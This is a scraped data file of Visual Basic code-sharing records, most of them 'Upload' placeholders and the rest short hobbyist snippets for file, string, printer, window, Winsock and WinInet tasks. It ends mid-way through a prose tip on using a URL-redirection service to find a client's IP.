\"Hello!\"\nEnd Sub</pre>When you execute this code on a computer with IE other than 5.5, You will get the appropriate MsgBox with Hello! in it (and our website). With 5.5, however, you will get and Error 5.The workaround is to declare the URL variable (urly) as a Variant -OR- Use the Navigate (no 2) Method. (as described in the <a href=\"http://support.microsoft.com/support/kb/articles/Q167/4/35.asp\" target=\"_blank\">MS Knowledge Base</a> (See #28). The variant may not be as efficient as the string type, but it works on ALL versions of IE. If you appreciate this 'bulletin' of sorts, I humbly ask for a vote. I understand this is not an application, but hey it's important to anyone with a webbrowser control on their app!Have Fun, Herbert L. Riede Programmer, <a href=\"http://directleads.com/ad.html?o=993&a=cd15860\" target=\"_blank\">WinDough.com, Inc.</a>"},{"WorldId":1,"id":11144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11150,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11151,"LineNumber":1,"line":"Function lineCount(myInFile As String) As Long\n Dim lFileSize As Long, lChunk As Long\n Dim bFile() As Byte\n Dim lSize As Long\n Dim strText As String\n \n 'the size of the chunk to read in. You can experiment\n 'with this to see what works fastest.\n lSize = CLng(1024) * 10\n \n 'size the array to the chunk size\n ReDim bFile(lSize - 1) As Byte\n \n Open myInFile For Binary As #1\n 'get the file size\n lFileSize = LOF(1)\n \n 'set the chunk number to 1\n lChunk = 1\n Do While (lSize * lChunk) < lFileSize\n 'get the data from the in file\n Get #1, , bFile\n strText = StrConv(bFile, vbUnicode)\n \n 'get the line count for this chunk\n lineCount = lineCount + searchText(strText)\n 'increment the chunk count\n lChunk = lChunk + 1\n Loop\n \n 'redim the array to the remaining size\n ReDim bFile((lFileSize - (lSize * (lChunk - 1))) - 1) As Byte\n 'get the remaining data\n Get #1, , bFile\n strText = StrConv(bFile, vbUnicode)\n 'get line count for this chunk\n lineCount = lineCount + searchText(strText)\n \n 'close the file\n Close #1\n \n lineCount = lineCount + 1\n \nEnd Function\nPrivate Function searchText(strText As String) As Long\n Static blPossible As Boolean\n Dim lp1 As Long\n \n 'if we have a possible line count\n If blPossible = True Then\n 'if the fist charcter is chr(10) then we have a new line\n If Left$(strText, 1) = Chr(10) Then\n searchText = searchText + 1\n End If\n End If\n \n blPossible = False\n \n 'loop through counting vbCrLf's\n lp1 = 1\n Do\n lp1 = InStr(lp1, strText, vbCrLf)\n If lp1 <> 0 Then\n searchText = searchText + 1\n lp1 = lp1 + 2\n End If\n Loop Until lp1 = 0\n \n 'if the last character is a chr(13) then we may have a\n 'new line, so we mark it as possible\n If Right$(strText, 1) = Chr(13) Then\n blPossible = True\n End If\n \nEnd Function\n"},{"WorldId":1,"id":11153,"LineNumber":1,"line":"Function myInStrRev(strStringToSearch As String, strFind As String, Optional iStart As Long) As Long\n Dim ip1 As Long, ip2 As Long\n Dim iLenStringToSearch As Long\n \n 'get the length of the string\n iLenStringToSearch = Len(strStringToSearch)\n \n 'if the start is 0 then set the start to the length\n 'og the string\n If iStart = 0 Then\n iStart = iLenStringToSearch\n End If\n \n ip1 = 1\n Do\n ip2 = InStr(ip1, strStringToSearch, strFind)\n If (ip2 > 0) And (ip2 < iStart) Then\n 'if ip2 is not zero and it is less than the\n 'place to start searching then set the function\n 'to return that position\n myInStrRev = ip2\n ElseIf ip2 = 0 Then\n ip2 = iLenStringToSearch\n End If\n 'set the next position to seracf from\n ip1 = ip2 + 1\n Loop Until ip1 >= iStart\n \nEnd Function\n"},{"WorldId":1,"id":11155,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11158,"LineNumber":1,"line":"'*************************************************\n' modPrinterDialogs:\n' This module displays a number of dialogs, which\n' are provided by the following functions:\n'\n' ConfigureCOMPort(): Configure the specified COM port number (1-4)\n' ConfigureLPTPort(): Configure the specified Printer port number (1-4)\n' ConfigureAPort(): Configure a specified port\n' GetDefaultPrinter(): This function retrieves the definition\n' of the default printer on this system\n' ViewPrinterProperties(): View/change printer properties dialog\n' ViewDocProperties(): View/change document properties\n' ConnectToAPrinter(): Connect to a local/network printer\n'\n'EXAMPLES:\n' Dim dm As DEVMODE 'used to gather data by ViewDocProperties()\n'\n' Call ConfigureAPort(Me, \"COM2:\") 'configure COM port 2\n' Call ConfigureCOMPort(Me, 2) 'configure COM port 2\n' Call ConfigureLPTPort(Me, 1) 'configure LPT port 1\n' Debug.Print GetDefaultPrinter 'display default printer name, device, port\n' Call ViewPrinterProperties(Me) 'view/change default printer's properties\n' Call ConnectToAPrinter(Me) 'connect to a local/network printer\n' Call ViewDocProperties(Me, dm) 'set up document printing options.\n' Debug.Print \"Copies = \" & dm.dmCopies\n' Debug.Print \"Orientation = \" & dm.dmOrientation\n' Debug.Print \"Quality = \" & dm.dmPrintQuality\n'*************************************************\n''''INSERT API/Global goodies here\n'*************************************************\n' ConfigureCOMPort(): Configure the specified COM port number (1-4)\n'*************************************************\nPublic Function ConfigureCOMPort(Frm As Form, PortNumber As Integer)\n ConfigureCOMPort = ConfigurePort(\"\", Frm.hWnd, \"COM\" & CStr(PortNumber) & \":\")\nEnd Function\n'*************************************************\n' ConfigureLPTPort(): Configure the specified Printer port number (1-4)\n'*************************************************\nPublic Function ConfigureLPTPort(Frm As Form, PortNumber As Integer)\n ConfigureLPTPort = ConfigurePort(\"\", Frm.hWnd, \"LPT\" & CStr(PortNumber) & \":\")\nEnd Function\n'*************************************************\n' ConfigureAPort(): Configure a specified port\n'*************************************************\nPublic Function ConfigureAPort(Frm As Form, PortName As String)\n ConfigureAPort = ConfigurePort(\"\", Frm.hWnd, UCase$(PortName))\nEnd Function\n'*************************************************\n' ViewPrinterProperties(): View/change printer properties dialog\n'*************************************************\nPublic Sub ViewPrinterProperties(Frm As Form, Optional PrtDevice As String = \"\")\n Dim hPrinter As Long\n \n hPrinter& = OpenAPrinter(PrtDevice)\n If hPrinter = 0 Then\n If PrtDevice = \"\" Then\n MsgBox \"Unable to open default printer\"\n Else\n MsgBox \"Unable to open \" & PrtDevice & \" printer\"\n End If\n Exit Sub\n End If\n Call PrinterProperties(Frm.hWnd, hPrinter)\n Call ClosePrinter(hPrinter)\nEnd Sub\n'*************************************************\n' ViewDocProperties(): View/change document properties\n'*************************************************\nPublic Sub ViewDocProperties(Frm As Form, MyDevMode As DEVMODE, Optional DeviceName As String = \"\")\n Dim bufsize As Long, res As Long\n Dim dmInBuf As String\n Dim dmOutBuf As String\n Dim hPrinter As Long\n \n hPrinter = OpenAPrinter(DeviceName)\n If hPrinter = 0 Then\n If DeviceName = \"\" Then\n MsgBox \"Unable to open default printer\"\n Else\n MsgBox \"Unable to open \" & DeviceName & \" printer\"\n End If\n Exit Sub\n End If\n ' The output DEVMODE structure will reflect any changes\n ' made by the printer setup dialog box.\n ' Note that no changes will be made to the default\n ' printer settings!\n bufsize = DocumentProperties(Frm.hWnd, hPrinter, DeviceName, 0, 0, 0)\n dmInBuf = String(bufsize, 0)\n dmOutBuf = String(bufsize, 0)\n \n res = DocumentPropertiesStr(Frm.hWnd, hPrinter, DeviceName, dmOutBuf, dmInBuf, DM_IN_PROMPT Or DM_OUT_BUFFER)\n \n ' Copy the data buffer into the DEVMODE structure\n CopyMemoryDM MyDevMode, dmOutBuf, Len(MyDevMode)\nClosePrinter hPrinter\nEnd Sub\n'*************************************************\n' ConnectToAPrinter(): Connect to a local/network printer\n'*************************************************\nPublic Sub ConnectToAPrinter(Frm As Form)\n Call ConnectToPrinterDlg(Frm.hWnd, 0)\nEnd Sub\n'*************************************************\n' GetDefaultPrinter(): This function retrieves the definition\n' of the default printer on this system\n'*************************************************\nPublic Function GetDefaultPrinter() As String\n Dim def As String\n Dim di As Long\n def = String(128, 0)\n di = GetProfileString(\"WINDOWS\", \"DEVICE\", \"\", def, 127)\n If di Then GetDefaultPrinter = Left$(def, di - 1)\nEnd Function\n'*************************************************\n' OpenAPrinter(): open a printer (default or user-specified)\n'*************************************************\nPrivate Function OpenAPrinter(Optional DeviceName As String = \"\") As Long\n Dim dev$, devname As String, devoutput As String\n Dim hPrinter As Long, res As Long\n Dim pdefs As PRINTER_DEFAULTS\n \n pdefs.pDatatype = vbNullString\n pdefs.pDevMode = 0\n pdefs.DesiredAccess = PRINTER_ACCESS_ADMINISTER Or PRINTER_ACCESS_USE\n If DeviceName = \"\" Then\n dev = GetDefaultPrinter() ' Get default printer info\n If dev = \"\" Then Exit Function\n DeviceName = GetDeviceName(dev)\n End If\n devname = DeviceName\n \n ' You can use OpenPrinterBynum to pass a zero as the\n ' third parameter, but you won't have full access to\n ' edit the printer properties\n res = OpenPrinter(devname, hPrinter, pdefs)\n If res <> 0 Then OpenAPrinter = hPrinter\nEnd Function\n'*************************************************\n' Retrieves the name portion of a device string\n'*************************************************\nPrivate Function GetDeviceName(dev As String) As String\n Dim npos As Integer\n \n npos = InStr(dev, \",\")\n GetDeviceName = Left$(dev, npos - 1)\nEnd Function\n"},{"WorldId":1,"id":11159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11170,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11188,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11197,"LineNumber":1,"line":"'code\nPrivate Sub FormDrag(frm As Form)\n ReleaseCapture\n Call SendMessage(frm.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)\nEnd Sub\n\n'usage:\n'put in MouseDown even of almost anything.\n'a form a label, a command button, anything will work.\nPrivate Sub Label1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n If Button = 1 Then Call FormDrag(Me)\nEnd Sub\n'If you dont add If Button = 1 etc.. \n'then if you left click, then right \n'click the form will continue to \n'move even though you arent clicking,\n'its like the form is stuck to your mouse\n"},{"WorldId":1,"id":11198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11199,"LineNumber":1,"line":"'code:\nPrivate Sub FormOnTop(frm As Form, blnOnTop As Boolean)\n Dim lPos As Long\n Select Case blnOnTop\n Case True\n lPos = HWND_TOPMOST\n Case False\n lPos = HWND_NOTOPMOST\n End Select\n Call SetWindowPos(frm.hwnd, lPos, 0, 0, 0, 0, SWP_FLAGS)\nEnd Sub\n'usage:\nPrivate Sub Form_Load()\n'makes a form on top\n Call FormOnTop(Me, True)\nEnd Sub\nPrivate Sub Command1_Click()\n'makes a form not always on top anymore..\n Call FormOnTop(Me, False)\nEnd Sub"},{"WorldId":1,"id":11200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11232,"LineNumber":1,"line":"' Simple MP3 Player\nPrivate Declare Function mciSendString Lib \"winmm.dll\" Alias \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long\nDim isPlaying As Boolean\nDim Mp3File As String\nPrivate Sub Command1_Click(Index As Integer)\n \n Mp3File = Chr$(34) + Trim(Text1.Text) + Chr$(34)\n Select Case Index\n Case 0\n ' Start Playing\n mciSendString \"open \" + Mp3File, 0&, 0&, 0&\n mciSendString \"play \" + Mp3File, \"\", 0&, 0&\n isPlaying = True\n Case 1\n ' Stop Playing\n mciSendString \"close \" + Mp3File, 0&, 0&, 0&\n isPlaying = False\n End Select\n \nEnd Sub\nPrivate Sub Command2_Click()\n \n Unload Me\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n If isPlaying = True Then\n ' Stop Playing if we are playing before we exit!\n mciSendString \"close \" + Mp3File, 0&, 0&, 0&\n End If\n \nEnd Sub\n"},{"WorldId":1,"id":11233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11257,"LineNumber":1,"line":"Public Sub Select_Text(TextBoxName As Variant)\n TextBoxName.SelStart = 0\n TextBoxName.SelLength = Len(TextBoxName.Text)\nEnd Sub"},{"WorldId":1,"id":11268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11297,"LineNumber":1,"line":"Public Function GetURL(strURLToGet As String) As String\nDim iRetVal As Integer\nDim bRetVal As Integer\nDim sBuffer As Variant\nDim sReadBuffer As String * 32767\nDim bDoLoop As Boolean\nDim sStatus As String\nDim lBytesRead As Long\nDim lBytesTotal As Long\nDim lBufferLength As Long\nDim sBuffer2 As Long\nDim lpdwError As Long\nDim lpszBuffer As String\nDim lpdwBufferLength As Long\nsBuffer = \"\"\nsBuffer2 = 0\nlBufferLength = 4\nhInternetSession = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)\nIf hInternetSession > 0 Then\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_CONNECT_TIMEOUT, sBuffer2, lBufferLength)\n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_CONNECT_TIMEOUT, 2000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_CONNECT_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, 4000, 4)\n \n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_SEND_TIMEOUT, 4000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_SEND_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_CONNECT_RETRIES, 1, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_CONNECT_RETRIES, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_DATA_SEND_TIMEOUT, 4000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_DATA_SEND_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, 4000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, sBuffer2, lBufferLength)\n hUrlFile = InternetOpenUrl(hInternetSession, strURLToGet, vbNullString, 0, INTERNET_FLAG_RELOAD, 0)\n If hUrlFile > 0 Then\n \n iRetVal = InternetSetOption(hUrlFile, INTERNET_OPTION_CONNECT_TIMEOUT, 2000, 4)\n \n bDoLoop = True\n While bDoLoop\n \n sReadBuffer = Space(32767)\n lBytesRead = 0\n \n bDoLoop = InternetReadFile(hUrlFile, sReadBuffer, Len(sReadBuffer), lBytesRead)\n \n lBytesTotal = lBytesTotal + lBytesRead\n \n sBuffer = sBuffer & Left$(sReadBuffer, lBytesRead)\n \n If Not CBool(lBytesRead) Then bDoLoop = False\n Wend\n \n End If\nEnd If\nInternetCloseHandle (hUrlFile)\nInternetCloseHandle (hInternetSession)\nhInternetSession = 0\nhUrlFile = 0\nGetURL = sBuffer\nEnd Function"},{"WorldId":1,"id":11298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11326,"LineNumber":1,"line":"Public Sub PathTest\n' Return just the path \"c:\\test\\\" \n' TRUE strips the backslash, FALSE retains it\nDebug.Print JustPath(\"c:\\test\\myfile.txt\", \"\\\", True)\n' Return just the filename \"myfile.txt\"\n' Change \"\\\" to \"/\" to handle UNIX or URL pathnames!\nDebug.Print JustFile(\"c:\\test\\myfile.txt\", \"\\\")\n' Change the extension to \"bak\" and return \"c:\\test\\myfile.bak\"\nDebug.Print ChangeExt(\"c:\\test\\myfile.txt\", \"bak\")\n' Change the extension and return just the filename \"myfile.bak\" \n' Change \"\\\" to \"/\" to handle UNIX or URL pathnames!\nDebug.Print JustFile(ChangeExt(\"c:\\test\\myfile.txt\", \"bak\"), \"\\\")\nEnd Sub\nPublic Function JustPath(ByVal filepath As String, ByVal dirchar As String, ByVal stripbs As Integer) As String\n\t' Returns just the path\n\t' TRUE evaluates to -1, FALSE evaluates to 0 so \n\t' simple addition is all we need at the end to remove the slash\n\tJustPath = Mid$(filepath, 1, InStrRev(filepath, dirchar) + stripbs)\nEnd Function\nPublic Function JustFile(ByVal filepath As String, ByVal dirchar As String) As String\n ' Returns just the filename\n JustFile = Mid$(filepath, InStrRev(filepath, dirchar) + 1)\nEnd Function\nPublic Function ChangeExt(ByVal filepath As String, ByVal newext As String) As String\n ' Changes the extension\n ChangeExt = Mid$(filepath, 1, InStrRev(filepath, \".\")) & newext\nEnd Function\n"},{"WorldId":1,"id":11327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11329,"LineNumber":1,"line":"Private Sub Form_Load()\n Winsock.Connect \"www.microsoft.com\", 80\nEnd Sub\nPrivate Sub Winsock_Connect()\n MsgBox \"Your Real IP is: \" + Winsock.LocalIP, vbOKOnly, \"Real IP\"\n Winsock.Close\nEnd Sub\n"},{"WorldId":1,"id":11330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11345,"LineNumber":1,"line":"Private Sub Test()\nConst mystr = \"This is a test of the split function\"\n' returns 6\nDebug.Print Occurs(mystr, \"t\")\nEnd Sub\nPublic Function Occurs(ByVal strtochk As String, ByVal searchstr As String) As Long\n' remember SPLIT returns a zero-based array\nOccurs = UBound(Split(strtochk, searchstr)) + 1\nEnd Function"},{"WorldId":1,"id":11348,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11370,"LineNumber":1,"line":"Public Function GetCmdOpt(cmdline As String, optname As String) As Boolean\n'Returns True, or False if the option (optname)\n'Is inside of the commandline (cmdline).\nretval2 = cmdline\nretval2 = InStr(retval2, optname)\nIf retval2 > 0 Then\nGetCmdOpt = True\nElse\nGetCmdOpt = False\nEnd If\nEnd Function\nPublic Function RemoveOpt(cmdline As String, optname As String) As String\n'Removes a option from a commandline specified in \n'cmdline...optname is the option to be removed.\nretval1 = cmdstr\nretval1 = Replace(retval1, optname, \"\")\nretval1 = Trim(retval1)\nRemoveOpt = retval1\nEnd Function\nPublic Function AddCmdOpt(cmdline As String, optname As String) As String\n'Use to add a option to a commandline...not sure\n'how usefull that could be, but it might.\ninputstr = Trim(inputstr)\ninputstr = inputstr & \" \" & optname\nAddCmdOpt = inputstr\nEnd Function\nPublic Function GetCmdText(cmdline As String, startopt As String, endopt As String) As String\n'Returns the text between 2 options specified...the start, and endoption...\n'the cmdline option is the input commandline\n'...If there is no option(s) specified, it wont do anything..\ncmdline = LCase(cmdline)\nstartopt = LCase(startopt)\nendopt = LCase(endopt)\nIf cmdline <> \"\" Or startopt <> \"\" Or endopt <> \"\" Then\nstartoptlen = InStr(cmdline, startopt)\nendoptlen = InStr(cmdline, endopt)\nIf startoptlen > 0 Or endoptlen > 0 Then\nretval1 = InStr(cmdline, endopt) - InStr(cmdline, startopt)\nretval2 = Mid(cmdline, InStr(cmdline, startopt), retval1)\nretval2 = Replace(retval2, startopt, \"\")\nretval2 = Trim(retval2)\nGetCmdText = retval2\nEnd If\nEnd If\nEnd Function\n\n'''''''''''''''''''''''''''''''''''''''''''''''\nExample how to use each in a progy:\n'Command gets the commandline from your program (myexe.exe thisiscmdmaterial)\nretval = GetCmdOpt(Command, \"-Test\")\nIf retval = True Then\nMsgBox \"The Option WAS in the commandline\"\nElse\nMsgBox \"The Option WAS NOT in the commandline\"\nEnd If\nretval = RemoveOpt(Command, \"-Test\")\nMsgBox \"The returned commadnline after the option was removed is: \" & retval\nretval = getcmdtext(Command, \"-Start\", \"-End\")\nMsgBox \"The text between the start,and end option was: \" & retval"},{"WorldId":1,"id":11373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11375,"LineNumber":1,"line":"Private Sub Timer1_Timer()\nIf GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyO) Then\nMsgBox \"It works :)\"\nEnd If\nEnd Sub\n'this example use the Control Key and O key as hotkey but you can use that key and how many keys you want alle the key codes you will find in the vb help under key code constants"},{"WorldId":1,"id":11377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11425,"LineNumber":1,"line":"Option Explicit\nPrivate Function StripStringFromPointer$(ByVal lpString&, ByVal nStrLen&)\n Dim Info$\n Info = String$(nStrLen, vbNullChar)\n CopyMemory ByVal StrPtr(Info), ByVal lpString, nStrLen * 2\n StripStringFromPointer = Info\nEnd Function\nPrivate Function GetAddress(Addr&)\n GetAddress = Addr\nEnd Function\nPrivate Function MyFunction&(ByVal lpString&, ByVal nStrLen&, ByVal param3&,\nByVal param4&)\n Debug.Print StripStringFromPointer(lpString, nStrLen)\nEnd Function\nPublic Sub Main()\n Dim FunctAddr&, Info$\n Info = \"Holy Smoke\"\n FunctAddr = GetAddress(AddressOf MyFunction)\n CallWindowProc FunctAddr, StrPtr(Info), CLng(Len(Info)), 0&, 0&\n End\nEnd Sub\n"},{"WorldId":1,"id":11428,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11429,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim lForIndex As Long\n Set colDirs = Nothing\n Set colDirs = New Collection\n Me.List1.Clear\n DoEvents\n colToFill.Add Item:=endInSlash(\"C:\")\n Call makeTree(\"C:\", colDirs)\n For lForIndex = 1 To colDirs.Count\n Debug.Print colDirs.Item(lForIndex)\n Next lForIndex\nEnd Sub\nSub makeTree(ByVal inPath As String, ByRef colToFill As Collection)\nDim objDir1 As Folder\nDim objDir2 As Folder\nDim sCurrentDir As String\n sCurrentDir = endInSlash(inPath)\n Set objDir1 = objFso.GetFolder(sCurrentDir)\n \n For Each objDir2 In objDir1.SubFolders\n colToFill.Add Item:=sCurrentDir & objDir2.Name\n Call makeTree(sCurrentDir & objDir2.Name, colToFill)\n Next objDir2\n Set objDir1 = Nothing\n Set objDir2 = Nothing\nEnd Sub\nFunction endInSlash(ByVal inString As String) As String\n If Right$(inString, 1) <> \"\\\" Then\n endInSlash = inString & \"\\\"\n Else\n endInSlash = inString\n End If\nEnd Function\n"},{"WorldId":1,"id":11430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11435,"LineNumber":1,"line":"Option Explicit\n' Created by mkeller@hotmail.com - 9/12/2000\nPrivate Declare Function SendMessage Lib \"USER32\" Alias \"SendMessageA\" (ByVal hWnd As Long, _\n ByVal wMsg As Long, _\n ByVal wParam As Long, _\n lParam As Any) As Long\nPrivate Const CB_FINDSTRINGEXACT = &H158\nPrivate Const CB_FINDSTRING = &H14C\nPrivate Const CB_ERR = (-1)\n' Used to hold the keycode supressions\nPrivate m_bSupressKeyCode As Boolean\nPrivate Property Let SupressKeyCode(bValue As Boolean)\n m_bSupressKeyCode = bValue\nEnd Property\nPrivate Property Get SupressKeyCode() As Boolean\n SupressKeyCode = m_bSupressKeyCode\nEnd Property\nPublic Sub SupressKeyStroke(cboBoxName As ComboBox, KeyCode As Integer)\n' This method is called from the KeyDown\n' event of a ComboBox.\n ' Let's just assume we only want to supress\n ' backspace and the delete keys.\n If cboBoxName.Text <> \"\" Then\n Select Case KeyCode\n Case vbKeyDelete\n SupressKeyCode = True\n Case vbKeyBack\n SupressKeyCode = True\n End Select\n End If\nEnd Sub\nPublic Sub GetListValue(cboBoxName As ComboBox)\n' Call this method in the 'Change' event a\n' ComboBox.\n Dim lSendMsgContainer As Long, lUnmatchedChars As Long\n Dim sPartialText As String, sTotalText As String\n ' Prevent processing as a result of changes from code\n If m_bSupressKeyCode Then\n m_bSupressKeyCode = False\n Exit Sub\n End If\n With cboBoxName\n ' Lookup list item matching text so far\n sPartialText = .Text\n lSendMsgContainer = SendMessage(.hWnd, CB_FINDSTRING, -1, ByVal sPartialText)\n ' If match found, append unmatched characters\n If lSendMsgContainer <> CB_ERR Then\n ' Get full text of matching list item\n sTotalText = .List(lSendMsgContainer)\n ' Compute number of unmatched characters\n lUnmatchedChars = Len(sTotalText) - Len(sPartialText)\n If lUnmatchedChars <> 0 Then\n ' Append unmatched characters to string\n SupressKeyCode = True\n .SelText = Right(sTotalText, lUnmatchedChars)\n ' Select unmatched characters\n .SelStart = Len(sPartialText)\n .SelLength = lUnmatchedChars\n End If\n End If\n End With\nEnd Sub\nPrivate Sub Class_Terminate()\n' If there's any kind of err, let's just flush it\n' and go about our business. Whoomp, there it \n' is!\n Err.Clear\nEnd Sub\n"},{"WorldId":1,"id":11440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11443,"LineNumber":1,"line":"The way to do this is to go to a URL Redirection website... www.cjb.net is a good one. Create an account there, it's free, and put your current IP number in the box that asks you for your homepage. If your IP is 12.34.567.89, then you would put HTTP://12.34.567.89:80 in the box. Since 80 is what is normally used for HTML, it's better to use it here. Continue creating the account and there you go.\nNow, the client's program will have a winsock control and a web browser control on their form. When they click the command button to connect, the code will tell the web browser to go to the url... http://myip.cjb.net, or whatever you created. Of course, the winsock control on your end will be listening for connections. When the client has done his/her job by clicking the command button to connect, it will send their IP to you. You retrieve this IP by putting the ACCEPT RequestID routine in the Winsock_ConnectionRequest event, and then using the RemoteHostIp to then connect to their computer. It is much easier to have the client's program have 2 winsock controls on their form... 1 for connecting to http://whatever.cjb.net, and 1 for listening for YOUR connection request. The winsock control that connects to the internet requires no IP input, nor PORT number. The winsock control that allows YOU to connect to THEM 